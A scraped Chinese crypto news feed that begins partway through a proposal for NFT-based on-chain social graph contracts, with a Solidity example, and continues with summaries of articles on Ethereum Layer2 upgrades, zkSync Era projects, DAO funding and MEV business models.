_safeMint(to, tokenId); } 我相信我还能想到许多其他的调整和功能来添加到这个建议中，但最好从简单和容易理解的东西开始。 上面描述的 OCG 合约足够简单，但该方案有一些特质，可能会使很多人产生分歧： 鉴于不是每个人都会喜欢这个建议的这些特质，我想提出一套替代的社交合约，给用户和平台更细化的控制，特别是谁能看到什么样的信息，而且使用成本更低。 链式链接图（CLG）的基本思想： 我们不通过 NFT 直接在链上表示社交关系（关注、屏蔽、静音），而是在链下存储这些关系，并使用链上代币来发现和访问这些关系。 那么该社交关系就不是直接在链上的，而是通过一组合约和 URL 与链相连。 与 OCG 一样，三种社交关系中的每一种都由智能合约来管理，但 CLG 的语义不同： 因此，CLG 令牌的语义是：「这是对我 X 账户列表的读取权限」，其中「X」是「关注」、「静音」或「屏蔽」。 你可以把我在这一节中提出的建议看作是我为信息应用描述的电话号码 + 地址簿组合的一个近似物。你的电话号码是（准）公开的，当你把一个新的消息应用程序连接到它时，你可以授予或拒绝该应用程序对你的联系人的读取权限。 在我的 CLG 社交令牌计划中，你的 ENS 名字就像你的电话号码一样是公开的，你发行和撤销令牌，以便授予和拒绝阅读与你有某种关系的人的名单。如果你愿意，你可以把这些令牌授予随机用户，但主要是你要把它们授予社交平台，以便这些平台知道谁的帖子要显示给你，谁的帖子要隐藏（或谁不应该看到你的帖子）。 ( 对构成你的社交图的列表的写入权限可能由你正常的 ENS NFT 控制–如果你的钱包里有你的 ENS 名字，你就可以对列表进行写入 / 更新 / 删除的修改。一个可能的替代方案是有第四个社交合约，授予 NTFT 持有者列表写入权限，这样你就可以将列表管理外包给一些第三方） 在链下托管这些列表，同时从链上指向它们，有几个好处：   代币访问控制和读取访问 实现 CLG 合约的关键创新是代币访问控制。代币访问控制背后的概念是，除非你用含有特定访问代币的钱包连接到主机，否则你不能访问主机上的特定数据。 例如，你可以对 IPFS 上的内容进行代币访问控制，这样只有用钱包中的特定 NFT 连接到端点的读者才能查看特定的文件。 CLG 使用令牌门为我们的社交合约增加了一些间接性，因此，社交 NFT 不是代表一种特定类型的关系–关注、静音或屏蔽–而是代表对你的社交图谱的一部分的读取权限。 很明显，为了使代币门槛发挥作用，平台必须尊重它。据推测，如果平台不尊重代币访问控制，你会把你的关系列表转移到其他平台，并改变你的合约，必要时重新发布任何 NFT。 另外，要清楚的是，有些人的名单在某些时候会泄露。我们生活在一个个人数据泄露的世界，所以如果数据被托管在某个地方，那么有些数据就会被泄露。我将在后面的章节中讨论一些可能的缓解措施。 下面的合约将是一个标准的 ERC721 NTFT 合约，与上述 OCG 的合约非常接近： // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; contract CLGFollows is ERC721, Pausable, Ownable, ERC721Burnable { using Counters for Counters.Counter; Counters.Counter private _tokenIdCounter; constructor() ERC721("CLGFollows", "CLGF") {} function _baseURI() internal pure override returns (string memory) { return "https://jonstokes.com/clgfollows/"; } function listURI() public { return "https://jonstokes.com/clgfollows/list"; } function relationship() public { return "clg follows"; } function pause() public onlyOwner { _pause(); } function unpause() public onlyOwner { _unpause(); } function safeMint(address to) public onlyOwner { uint256 tokenId = _tokenIdCounter.current(); _tokenIdCounter.increment(); _safeMint(to, tokenId); } function _beforeTokenTransfer(address from, address to, uint256) pure override internal { //Disable token transfers. require(from == address(0) || to == address(0), "Cannot be transferred."); } } 所有的扩展都与 OCG 相同，只是我没有包括 ERC721Enumerable，因为不清楚是否有人想让他们的 CLG Follows 代币被列举出来（另外它提高了铸币的 gas 成本） 至于函数方面，我对 OpenZeppelin 向导的输出做了以下修改： 大多数情况下，你会使用 CLG Follows NTFT，把它发布到社交平台拥有的地址。这样，该平台可以读取你的关注列表，并向你展示正确的帖子。 但你也可以把这些 NTFTs 发给追随者，以便你的追随者可以发现其他追随者。你可以通过空投给追随者，或者通过解禁造币，让任何人造币来实现。 所有其他合约的工作方式与上述完全相同，但有不同的名称和符号，并从 relationship() 和 listURI() 返回不同的值。 如果你担心你的列表从不同的服务中泄漏，那么把 listURI() 变成更像 tokenURI(uint256 tokenId) 的东西是非常直接的，即签名是 listURI(uint256 tokenId)，它把 tokenID 连接到一个基本 URI 的末尾，这样每个 token 持有者就可以得到自己的列表 URL。这个功能与列表主机上的一些逻辑相结合，可以让你把列表隔离开来，使不同的令牌持有者得到主图的不同子图。这样一来，如果一个平台被拥有，那么只有我的图的那一部分被泄露了。 和 OCG 一样，你可以把 safemint 变成一个可支付的函数，并向访问你的列表的人收费。请看 OCG 部分的代码，以了解这个例子的情况。 你可能希望能够更新 tokenURI() 和 / 或 listURI() 返回的 URLs，在这种情况下，你需要将这些 URLs 存储在变量中，在构造函数中初始化它们，并为更新它们提供 onlyOwner setter 函数。这将增加你的铸币成本，但如果你只打算把它们给服务而不是个人，这可能并不重要。 这里概述的两个建议都提供了一些集中式托管服务的地方，即使它只是一个权宜之计，在生态系统过渡到像 IPFS 这样的分布式系统之前。 最明显的服务类型是托管由 URI 功能之一返回的任何东西–配置文件数据、NTFT 元数据和代币控制的 JSON 列表（在 CLG 的情况下）。 另一个有用的服务是一种专门的 Infura 版本，通过 API 暴露链上的社交数据。或者，Infura 可以为社交数据提供一个专门的 API。 最后，可以有第三方服务来验证账户，以满足用户和组织的需求。 我不知道我是否期望我的链上社交图谱建议会以我在这里描述的形式被采纳。我提出这些想法，更多的是为了引发对话，讨论我们如何从目前完全锁定平台的状态有效地过渡到更便携的状态，即你拥有你的图谱，并可以轻松地将它随身携带。 上述内容有一部分看起来有点像 web5 的提议，但关键的区别在于，我的两个想法被设计得更简单，并利用了智能合约和现有的链上身份提供者（ENS，但也包括其他链上的类似提供者）。 如果你从这篇文章中没有其他收获，我希望我至少已经说明，在一个分布式账本技术和智能合约的世界里，我们任何人都没有必要在 2022 年被锁定在一个社交网络里。解决这个锁定问题的工具是广泛存在的，我们只需要拿起它们并使用它们。  ( 6 min )
    2023年推动Layer2生态进一步发展的6大催化剂
    撰写：The DeFi Investor 编译：深潮 TechFlow 当今加密货币市场中，以太坊生态系统一直是最为活跃和受欢迎的项目之一。然而，要实现大规模采用还需要更多的创新和突破。2023 年将是一个关键的转折点，有六个重要因素将推动以太坊及其二层扩展更接近于大规模采用。让我们来看看这些因素是什么。 1. Eigenlayer 主网上线 Eigenlayer 是我最近发现的最具创新性的项目之一。它可以看作是一个 $ETH 重新质押的解决方案。使用 Eigenlayer，以太坊验证者将能够同时保护多个网络/协议。 衡量 PoS 链安全性的一种好方法是查看验证者锁定的代币总价值，这个值越高，攻击成本就越大。 正是由于这一点，以太坊是最安全的 L1 之一，因此其他协议可能有兴趣从中租用安全性。简而言之，Eigenlayer 正在建立一个市场，在该市场上 ETH 节点运营商可以选择提供额外费用的服务。他们甚至可以验证诸如侧链甚至非 EVM 网络等网络。不良行为将被削减他们锁定的 ETH。 从 L1 和 L2 到预言机和桥接器，任何项目都可以利用 Eigenlayer 的技术。即将推出的以太坊 L2 模块化设计项目 Mantle 就是将使用 EigenLayer 的数据可用性解决方案之一。 预计 Eigenlayer 主网将在第三季度推出。 即将到来的以太坊升级引发了对流动性质押衍生品的巨大兴趣。上海将启用 $ETH 质押提款以及其他小改动。然而，这可能不会像许多人预期的那样引起大规模的 $ETH 抛售。 该升级将设置取款队列，防止所有人一次性取回他们抵押的 ETH。此外，似乎不到 50% 的 $ETH 质押者处于盈利状态，因此大规模的 $ETH 抛售是不太可能的。 预计上海升级将在 2023 年 4 月进行。 Arbitrum Nitro 升级显著降低了 Arbitrum 的 Gas 费用，并帮助它获得更多的关注。现在轮到 Optimism 了。 Optimism Bedrock 在 2022 年 5 月推出。它被描述为最便宜和最快的 Rollup 架构。一旦上线，用户应该期望 Optimism 上的平均交易费用降低，同时存款速度更快。此外，它还将使 Optimism 可以整合 ZK 证明，使它更加安全。 启动时间：2023 年第二季度。 你是否认为在今年推出 $ARB 后，Arbitrum 团队只是在休息？事实并非如此，下一个重大的 Arbitrum 升级称为 Stylus。Stylus 将允许部署使用最流行编程语言编写的程序。 没错，Arbitrum 将成为第一个支持多种编程语言的 L2，如 Rust 和 C++。除此之外，它还将使 Arbitrum 更具可扩展性。 启动时间：2023 年。 第一个 zkEVMs 的主网正式推出终于要成为现实了。zkEVMs 是与 EVM 兼容/等效的以太坊扩展解决方案，使用 ZK proofs 来验证交易。开发人员可以直接在这些扩展解决方案上部署以太坊智能合约。 ZK Rollups 被认为比 Optimistic Rollups 更加安全和高效。zksync 和 Polygon 已经推出了第一个 zkEVMs 主网，但这只是个开始。 Consensys 和 Taiko 预计也将在今年晚些时候推出他们的 zkEVMs 主网。 Proto-danksharding 是另一个主要的以太坊升级，预计今年晚些时候将准备就绪。它将为以太坊引入一种新的交易类型，大幅降低 L2 的交易费用。 这将使以太坊 L2 更具可扩展性，并使其更加适合散户投资者。最初，这个升级计划在与上海升级同一天推出。但由于质押取款是主要任务，因此该计划被推迟到秋季。 我个人最期待 Proto-danksharding 升级，使用 L2 需要 0.3 美元的交易费用仍然很高。要使以太坊 L2 对每个人都可访问，费用必须低于 0.05 美元。  ( 2 min )

  • Open

    zkSync Era 上线一周，盘点 34 个已上线生态项目
    Chainfeeds 导读： zkSync Era 主网 Alpha 版本自 3 月 24 日上线已过去一周，链上的总锁仓价值（TVL）已达 2746 万美元，用户数约为 17.8 万。Foresight News 整理已官宣上线 zkSync Era 的 34 个项目，涵盖 DeFi、钱包、跨链、NFT 、基础设施等多个领域。 文章来源： https://foresightnews.pro/article/detail/29667 文章作者： angelilu 观点： angelilu：DeFi（12 个）：订单簿 DEX：MES Protocol、ZigZag Exchange、Mute.io；AMM DEX：SyncSwap；DeFi 聚合器：rhino.fi、UniDex、Fringe Finance、Onchain Trade；借贷：Nexon Finance；稳定币：Meson；Perps：Phezzan Protocol、Increment。 内容来源 angelilu：基础设施（5 个）：预言机：Pyth Network、RedStone Oracles；开发者工具：thirdweb；数据：DeFiLlama、Sentio。NFT 市场及项目（6 个）：NFT：zkAnimals、Skullverse、zkApes、zkEagles；市场：tofuNFT、kreatorland。 内容来源 angelilu：钱包（6 个）：ONTO Wallet、BlockWallet、BitKeep、Raise Finance、OKX Wallet、Argent。跨链（4 个）：Celer Network、Orbiter Finance、Multichain、SpaceFi。其他（1 个）：Goal3。 内容来源  ( 19 min )
    zkSync Era 上线一周，盘点 34 个已上线生态项目
    Chainfeeds 导读： zkSync Era 主网 Alpha 版本自 3 月 24 日上线已过去一周，链上的总锁仓价值（TVL）已达 2746 万美元，用户数约为 17.8 万。Foresight News 整理已官宣上线 zkSync Era 的 34 个项目，涵盖 DeFi、钱包、跨链、NFT 、基础设施等多个领域。 文章来源： https://foresightnews.pro/article/detail/29667 文章作者： angelilu 观点： angelilu：DeFi（12 个）：订单簿 DEX：MES Protocol、ZigZag Exchange、Mute.io；AMM DEX：SyncSwap；DeFi 聚合器：rhino.fi、UniDex、Fringe Finance、Onchain Trade；借贷：Nexon Finance；稳定币：Meson；Perps：Phezzan Protocol、Increment。 内容来源 angelilu：基础设施（5 个）：预言机：Pyth Network、RedStone Oracles；开发者工具：thirdweb；数据：DeFiLlama、Sentio。NFT 市场及项目（6 个）：NFT：zkAnimals、Skullverse、zkApes、zkEagles；市场：tofuNFT、kreatorland。 内容来源 angelilu：钱包（6 个）：ONTO Wallet、BlockWallet、BitKeep、Raise Finance、OKX Wallet、Argent。跨链（4 个）：Celer Network、Orbiter Finance、Multichain、SpaceFi。其他（1 个）：Goal3。 内容来源  ( 19 min )
    【英文长推】Impossible Finance 创始人：为何看好泰国 Web3 行业的发展
    Chainfeeds 导读： Impossible Finance 创始人 Calvin 结合泰国加密咨询公司 Cryptomind 的数据报告，解读了当前泰国 Web3 行业的发展现状，并从监管、实际采用等多个角度，分析了他看好泰国 Web3 行业的发展的原因。 文章来源： https://twitter.com/calchulus/status/1641341257028108289 文章作者： Calvin 观点： Calvin：泰国是一个高度数字化的国家，普通公民在他们的设备上花费日均 8 小时以上。泰国 7175 万总人口的人口中有约 100 万用户访问 Coinmarketcap。泰国拥有较大的法定交易所生态系统，这归功于交易所可以获得的明确许可。根据泰国证券交易委员会的数据，泰国公民已经创建了近 290 万个 KYC 账户。这与新加坡 60% 的市场渗透率相同。【原文为英文】 内容来源 Calvin：自 2020 年 9 月至 2022 年 7 月，MetaMask 在泰国被下载超 60 万次，占全国总人口的 0.1%。在泰国，Pancake Swap 的流量相较 Uniswap 的流量多了上百倍，而 Opensea 的访问量更是 Uniswap 的 500 倍。【原文为英文】 内容来源 Calvin：合规方面，泰国颁布了「Emergency Decree on Digital Asset Businesses」，对所有实践都有明确指导。ICO 在泰国也是合法和可注册的。泰国的 Web3 行业整体充满活力，有许多与社区建设、技术、媒体、大学生团体、受监管企业、PoW、PoS、区块链、基金、加速器相关的不同参与者。【原文为英文】 内容来源  ( 2 min )
    【英文长推】Impossible Finance 创始人：为何看好泰国 Web3 行业的发展
    Chainfeeds 导读： Impossible Finance 创始人 Calvin 结合泰国加密咨询公司 Cryptomind 的数据报告，解读了当前泰国 Web3 行业的发展现状，并从监管、实际采用等多个角度，分析了他看好泰国 Web3 行业的发展的原因。 文章来源： https://twitter.com/calchulus/status/1641341257028108289 文章作者： Calvin 观点： Calvin：泰国是一个高度数字化的国家，普通公民在他们的设备上花费日均 8 小时以上。泰国 7175 万总人口的人口中有约 100 万用户访问 Coinmarketcap。泰国拥有较大的法定交易所生态系统，这归功于交易所可以获得的明确许可。根据泰国证券交易委员会的数据，泰国公民已经创建了近 290 万个 KYC 账户。这与新加坡 60% 的市场渗透率相同。【原文为英文】 内容来源 Calvin：自 2020 年 9 月至 2022 年 7 月，MetaMask 在泰国被下载超 60 万次，占全国总人口的 0.1%。在泰国，Pancake Swap 的流量相较 Uniswap 的流量多了上百倍，而 Opensea 的访问量更是 Uniswap 的 500 倍。【原文为英文】 内容来源 Calvin：合规方面，泰国颁布了「Emergency Decree on Digital Asset Businesses」，对所有实践都有明确指导。ICO 在泰国也是合法和可注册的。泰国的 Web3 行业整体充满活力，有许多与社区建设、技术、媒体、大学生团体、受监管企业、PoW、PoS、区块链、基金、加速器相关的不同参与者。【原文为英文】 内容来源  ( 2 min )
    Messari：深度解读 DAO 工作组的资金分配现状
    Chainfeeds 导读： 任何形式的组织都会面临资源分配的问题，那么 DAO 在治理过程中是如何分配的？Messari 发布报告，从 10 个 DAO 的预算支付情况入手，解读了 DAO 在 2022 年如何以及在何处分配资源。本文由 PANews 翻译。 文章来源： https://www.panewslab.com/zh/articledetails/6wfryre9.html 文章作者： Ryan Holloway 观点： Ryan Holloway：在所涵盖的 10 个 DAO 中，2022 年超过 1 亿美元分配给内部 DAO 劳动力。在这 1 亿美元中，55% 用于产品和开发计划。紧随其后的是增长计划、运营、营销和社区。这种模式表明 DAO 正在积极投资于构建和维护稳健的技术基础。 内容来源 Ryan Holloway：虽然已经有许多 DAO 工具可用，但是新的创新和策略可以通过改善贡献者的工作氛围来吸引人才：1. 更加重视绩效衡量和问责制；2. 关注贡献者留存率和满意度；3. 试验新的薪酬模型；4. 多 DAO 协作与报酬；5. 平衡权力下放和贡献者保留。 内容来源  ( 3 min )
    Messari：深度解读 DAO 工作组的资金分配现状
    Chainfeeds 导读： 任何形式的组织都会面临资源分配的问题，那么 DAO 在治理过程中是如何分配的？Messari 发布报告，从 10 个 DAO 的预算支付情况入手，解读了 DAO 在 2022 年如何以及在何处分配资源。本文由 PANews 翻译。 文章来源： https://www.panewslab.com/zh/articledetails/6wfryre9.html 文章作者： Ryan Holloway 观点： Ryan Holloway：在所涵盖的 10 个 DAO 中，2022 年超过 1 亿美元分配给内部 DAO 劳动力。在这 1 亿美元中，55% 用于产品和开发计划。紧随其后的是增长计划、运营、营销和社区。这种模式表明 DAO 正在积极投资于构建和维护稳健的技术基础。 内容来源 Ryan Holloway：虽然已经有许多 DAO 工具可用，但是新的创新和策略可以通过改善贡献者的工作氛围来吸引人才：1. 更加重视绩效衡量和问责制；2. 关注贡献者留存率和满意度；3. 试验新的薪酬模型；4. 多 DAO 协作与报酬；5. 平衡权力下放和贡献者保留。 内容来源  ( 3 min )
    【英文】新项目前瞻｜x/builder：基于 Cosmos ABCI++ 的 MEV 构建模块
    Chainfeeds 导读： Cosmos 生态 MEV 基础设施 Skip Protocol 引入 MEV 构建模块 x/builder，帮助 Cosmos SDK 链捕获和控制 MEV。团队成员 hxrts 撰文介绍了 x/builder 的实现方式及用例。 文章来源： https://ideas.skip.money/t/x-builder-the-first-sovereign-mev-module-for-protocol-owned-building/57 文章作者： Sam Hart 观点： Sam Hart：ABCI++ 是 ABCI 的进化版，引入了新设计空间：可编程的共识。x/builder 模块利用 ABCI++ 提供任何 Cosmos SDK 应用程序都可以采用的链上构建器。ABCI++ 允许开发人员通过将 MEV 编程到区块生产和共识中，从而重新获取和定向他们的应用所创造的 MEV。【原文为英文】 内容来源 Sam Hart：x/builder 模块将分四个阶段发布，其第一版本 V0 将包括：抗操纵的区块空间拍卖、链上订单流拍卖、交易模拟市场以及达成共识的收费市场等主要功能。V0 版本将于 4 月下旬发布，面向支持 PrepareProposal 和 ProcessProposal 的链（Cosmos SDK v0.47 及更高版本）。【原文为英文】 内容来源  ( 5 min )
    【英文】新项目前瞻｜x/builder：基于 Cosmos ABCI++ 的 MEV 构建模块
    Chainfeeds 导读： Cosmos 生态 MEV 基础设施 Skip Protocol 引入 MEV 构建模块 x/builder，帮助 Cosmos SDK 链捕获和控制 MEV。团队成员 hxrts 撰文介绍了 x/builder 的实现方式及用例。 文章来源： https://ideas.skip.money/t/x-builder-the-first-sovereign-mev-module-for-protocol-owned-building/57 文章作者： Sam Hart 观点： Sam Hart：ABCI++ 是 ABCI 的进化版，引入了新设计空间：可编程的共识。x/builder 模块利用 ABCI++ 提供任何 Cosmos SDK 应用程序都可以采用的链上构建器。ABCI++ 允许开发人员通过将 MEV 编程到区块生产和共识中，从而重新获取和定向他们的应用所创造的 MEV。【原文为英文】 内容来源 Sam Hart：x/builder 模块将分四个阶段发布，其第一版本 V0 将包括：抗操纵的区块空间拍卖、链上订单流拍卖、交易模拟市场以及达成共识的收费市场等主要功能。V0 版本将于 4 月下旬发布，面向支持 PrepareProposal 和 ProcessProposal 的链（Cosmos SDK v0.47 及更高版本）。【原文为英文】 内容来源  ( 5 min )
    Folius Ventures：「塞尔达：王国之泪」对 Web3 游戏可组合性设计的启示
    Chainfeeds 导读： 3 月 28 日，「塞尔达传说：王国之泪」发布新版本演示视频，介绍了在该新作中主角林克将拥有的新技能。Folius Ventures 研究员 Aiko 发布长推，梳理了「塞尔达传说：王国之泪」中所展示的一些可组合性玩法，并探析了相关设计对于 Web3 游戏的借鉴性意义。本文由星球日报编译。 文章来源： https://www.odaily.news/post/5186114 文章作者： Aiko 观点： Aiko：Fuse 所代表的是装备（比如剑、弓、盾牌等等）的可组合性，其作为「功能型设计」的好处在于：从体验上看，通过提供多样化的体验，可激发玩家的探索欲和创造力，使其将新体验而非数值增长作为追求；从经济上看，低成本、可组合性强、功能各异、有叠加效果的基础组件也有助于游戏的增强经济活性和厚度。 内容来源 Aiko：Ultrahand 所代表的则是载具（比如车、船）的可组合性，如通过将「风扇」（消耗品）放置在载具的不同位置，可以驾驶载具（耐用品）在水、陆、空中行驶。该设计的意义在于，通过尝试将耐用品巧妙地设计为消耗品，同时加强对耐用品的分层，可维持不同层次耐用品的长期需求，继续延伸的话还可以通过解锁其流动性，在增加游戏趣味的同时进一步扩大交易空间。 内容来源  ( 6 min )
    Folius Ventures：「塞尔达：王国之泪」对 Web3 游戏可组合性设计的启示
    Chainfeeds 导读： 3 月 28 日，「塞尔达传说：王国之泪」发布新版本演示视频，介绍了在该新作中主角林克将拥有的新技能。Folius Ventures 研究员 Aiko 发布长推，梳理了「塞尔达传说：王国之泪」中所展示的一些可组合性玩法，并探析了相关设计对于 Web3 游戏的借鉴性意义。本文由星球日报编译。 文章来源： https://www.odaily.news/post/5186114 文章作者： Aiko 观点： Aiko：Fuse 所代表的是装备（比如剑、弓、盾牌等等）的可组合性，其作为「功能型设计」的好处在于：从体验上看，通过提供多样化的体验，可激发玩家的探索欲和创造力，使其将新体验而非数值增长作为追求；从经济上看，低成本、可组合性强、功能各异、有叠加效果的基础组件也有助于游戏的增强经济活性和厚度。 内容来源 Aiko：Ultrahand 所代表的则是载具（比如车、船）的可组合性，如通过将「风扇」（消耗品）放置在载具的不同位置，可以驾驶载具（耐用品）在水、陆、空中行驶。该设计的意义在于，通过尝试将耐用品巧妙地设计为消耗品，同时加强对耐用品的分层，可维持不同层次耐用品的长期需求，继续延伸的话还可以通过解锁其流动性，在增加游戏趣味的同时进一步扩大交易空间。 内容来源  ( 6 min )
    【英文】MEV 业务模型探讨：Flashbots 的商业化之路
    Chainfeeds 导读： Protocol Labs 研究员 Catrina Wang 探讨了 MEV 市场的发展现状及未来的趋势预测，并以 Flashbots 为例，分析了其当前在 MEV 领域的竞争优势，并畅想了多个可能的货币化策略。 文章来源： https://blockcrunch.substack.com/p/is-flashbots-a-bad-business-the-flashy 文章作者： Catrina Wang 观点： Catrina Wang：MEV 是一个潜力巨大的市场，但 Flashbots 能否保持市场领先地位取决于以下三个因素：1.Flashbots 目前的潜在市场正在被即将到来的 ETH 原生 MEV 功能和 L2 Rollups 所挤压；2.MEV 产品往往是不具备粘性的，Flashbots 正在为了公共利益不断放弃其竞争优势；3. 有大量的新加入者和替代 MEV 的解决方案。【原文为英文】 内容来源 Catrina Wang：Flashbots 的商业模式和货币化路线的方向。方向一：打开费用开关，为股权累积价值。可能的结果：市场份额减少、新进入者、市场模式趋向于 NFT 市场（收费竞争）。方向二：推出 Flashbots/SUAVE 代币。设计 1：推出 SUAVE 治理代币，最小化对用户体验的干扰；设计 2：要求 MEV 参与者使用 SUAVE 购买 Flashbots 的产品和服务。【原文为英文】 内容来源 Catrina Wang：对 MEV 未来的总结预测：1.Flashbots 将把 SUAVE 代币化，并通过品牌资产来实现货币化；2.SUAVE 将在跨链 MEV 中发挥重要作用；3. 跨链 MEV 激增；4.EIP 4337 将创造新的 MEV 行为者类别；5. MEV 初创公司将从 Private Order Flow 寻求货币化；6.MEV 可能成为钱包为数不多的货币化杠杆之一；7. 区块空间的均衡价格将出现。【原文为英文】 内容来源  ( 37 min )
    【英文】MEV 业务模型探讨：Flashbots 的商业化之路
    Chainfeeds 导读： Protocol Labs 研究员 Catrina Wang 探讨了 MEV 市场的发展现状及未来的趋势预测，并以 Flashbots 为例，分析了其当前在 MEV 领域的竞争优势，并畅想了多个可能的货币化策略。 文章来源： https://blockcrunch.substack.com/p/is-flashbots-a-bad-business-the-flashy 文章作者： Catrina Wang 观点： Catrina Wang：MEV 是一个潜力巨大的市场，但 Flashbots 能否保持市场领先地位取决于以下三个因素：1.Flashbots 目前的潜在市场正在被即将到来的 ETH 原生 MEV 功能和 L2 Rollups 所挤压；2.MEV 产品往往是不具备粘性的，Flashbots 正在为了公共利益不断放弃其竞争优势；3. 有大量的新加入者和替代 MEV 的解决方案。【原文为英文】 内容来源 Catrina Wang：Flashbots 的商业模式和货币化路线的方向。方向一：打开费用开关，为股权累积价值。可能的结果：市场份额减少、新进入者、市场模式趋向于 NFT 市场（收费竞争）。方向二：推出 Flashbots/SUAVE 代币。设计 1：推出 SUAVE 治理代币，最小化对用户体验的干扰；设计 2：要求 MEV 参与者使用 SUAVE 购买 Flashbots 的产品和服务。【原文为英文】 内容来源 Catrina Wang：对 MEV 未来的总结预测：1.Flashbots 将把 SUAVE 代币化，并通过品牌资产来实现货币化；2.SUAVE 将在跨链 MEV 中发挥重要作用；3. 跨链 MEV 激增；4.EIP 4337 将创造新的 MEV 行为者类别；5. MEV 初创公司将从 Private Order Flow 寻求货币化；6.MEV 可能成为钱包为数不多的货币化杠杆之一；7. 区块空间的均衡价格将出现。【原文为英文】 内容来源  ( 37 min )
    【中文长推】解读胖企鹅 CEO 的 NFT 六层价值漏斗模型：有何启发？
    Chainfeeds 导读： 胖企鹅 CEO Luca Netz 依据 NFT 的商业模型和实际业务绘制了一个 NFT 价值漏斗模型，包含从品牌认知、消费者群体、粉丝到最终的 8888 个胖企鹅的买家的 6 层流转。NFT 研究员 starzq.eth 对该模型进行了拆解和解读。 文章来源： https://twitter.com/starzqeth/status/1641696854097399808 文章作者： starzq.eth 观点： starzq.eth：1.IP 即内容，第一步是让更多人知道你，通过社交媒体和 meme 曝光给上亿用户，建立品牌知名度。胖企鹅利用 gif 形成了巨大的曝光和传播，这一点值得其他项目方学习。2. 消费者群体。NFT 的购买门槛太高，所以 Luca Netz 通过 IP 衍生品（比如毛绒玩具、T 恤）将来降低门槛，先积累消费者。 内容来源 starzq.eth：3. 通过教育 NFT Collectors 和 Buyers, 最终转化为 8888 个胖企鹅的买家。这群人有自己的主见，所以项目方要做的不是去销售，而是去教育，让其对你感兴趣。4. 由于供给固定，随着通过社交媒体、衍生品来提升用户需求，NFT 价格自然会上涨。5. 最后是留存的设计，社区和体验是核心，无需多言。 内容来源  ( 2 min )
    【中文长推】解读胖企鹅 CEO 的 NFT 六层价值漏斗模型：有何启发？
    Chainfeeds 导读： 胖企鹅 CEO Luca Netz 依据 NFT 的商业模型和实际业务绘制了一个 NFT 价值漏斗模型，包含从品牌认知、消费者群体、粉丝到最终的 8888 个胖企鹅的买家的 6 层流转。NFT 研究员 starzq.eth 对该模型进行了拆解和解读。 文章来源： https://twitter.com/starzqeth/status/1641696854097399808 文章作者： starzq.eth 观点： starzq.eth：1.IP 即内容，第一步是让更多人知道你，通过社交媒体和 meme 曝光给上亿用户，建立品牌知名度。胖企鹅利用 gif 形成了巨大的曝光和传播，这一点值得其他项目方学习。2. 消费者群体。NFT 的购买门槛太高，所以 Luca Netz 通过 IP 衍生品（比如毛绒玩具、T 恤）将来降低门槛，先积累消费者。 内容来源 starzq.eth：3. 通过教育 NFT Collectors 和 Buyers, 最终转化为 8888 个胖企鹅的买家。这群人有自己的主见，所以项目方要做的不是去销售，而是去教育，让其对你感兴趣。4. 由于供给固定，随着通过社交媒体、衍生品来提升用户需求，NFT 价格自然会上涨。5. 最后是留存的设计，社区和体验是核心，无需多言。 内容来源  ( 2 min )
    【英文长推】分布式资本研究员：我为什么期待 SUAVE？
    Chainfeeds 导读： 分布式资本研究员 BallsyAlchemist 分享了关于围绕 Flashbots 争论中缺失的一些内容，并表示自己非常看好 SUAVE，且围绕 SUAVE 代币价值积累的想象空间是巨大的。 文章来源： https://twitter.com/ballsyalchemist/status/1641607787594633217 文章作者： BallsyAlchemist（分布式资本） 观点： BallsyAlchemist（分布式资本）：1）信任最小化排序的价值：排序器的核心是一个订单流游戏，最终目标是在不影响安全和去中心化的情况下吸引更多的订单流。SUAVE 让我们看到了交易排序以信任最小化方式执行的未来；2）排序器的可选择性：大部分 Rollup 的最终目标是一致的，即拥有一个无需权限和去中心化的排序器堆栈。因此我不认为「MEV-leakage」是一个问题，相反它可以激励我们更好调整 MEV 以实现堆栈去中心化。我们现在也看到了更多选择，例如 SUAVE、Espresso Systems、Astria 等；【原文为英文】 内容来源 BallsyAlchemist（分布式资本）：3） Pre-PBS 问题：L2 排序器面临着和 PoW 矿工类似的问题，因此在 MEV 通道中减少对共识的依赖及加密经济安全的垂直化是有必要的；4）SUAVE 价值积累：我不确定是否会存在 SUAVE 代币，但也有一些方法可以通过重质押 ETH 或 SUAVE 代币来获取价值，但可能需要一些额外担保以保证参与 MEV-share 的构建者行为。【原文为英文】 内容来源  ( 2 min )
    【英文长推】分布式资本研究员：我为什么期待 SUAVE？
    Chainfeeds 导读： 分布式资本研究员 BallsyAlchemist 分享了关于围绕 Flashbots 争论中缺失的一些内容，并表示自己非常看好 SUAVE，且围绕 SUAVE 代币价值积累的想象空间是巨大的。 文章来源： https://twitter.com/ballsyalchemist/status/1641607787594633217 文章作者： BallsyAlchemist（分布式资本） 观点： BallsyAlchemist（分布式资本）：1）信任最小化排序的价值：排序器的核心是一个订单流游戏，最终目标是在不影响安全和去中心化的情况下吸引更多的订单流。SUAVE 让我们看到了交易排序以信任最小化方式执行的未来；2）排序器的可选择性：大部分 Rollup 的最终目标是一致的，即拥有一个无需权限和去中心化的排序器堆栈。因此我不认为「MEV-leakage」是一个问题，相反它可以激励我们更好调整 MEV 以实现堆栈去中心化。我们现在也看到了更多选择，例如 SUAVE、Espresso Systems、Astria 等；【原文为英文】 内容来源 BallsyAlchemist（分布式资本）：3） Pre-PBS 问题：L2 排序器面临着和 PoW 矿工类似的问题，因此在 MEV 通道中减少对共识的依赖及加密经济安全的垂直化是有必要的；4）SUAVE 价值积累：我不确定是否会存在 SUAVE 代币，但也有一些方法可以通过重质押 ETH 或 SUAVE 代币来获取价值，但可能需要一些额外担保以保证参与 MEV-share 的构建者行为。【原文为英文】 内容来源  ( 2 min )
    【英文】Variant Fund 合伙人谈 NFT MEV 景观：当前结构、MEV 类型及 NFT 基础设施机会
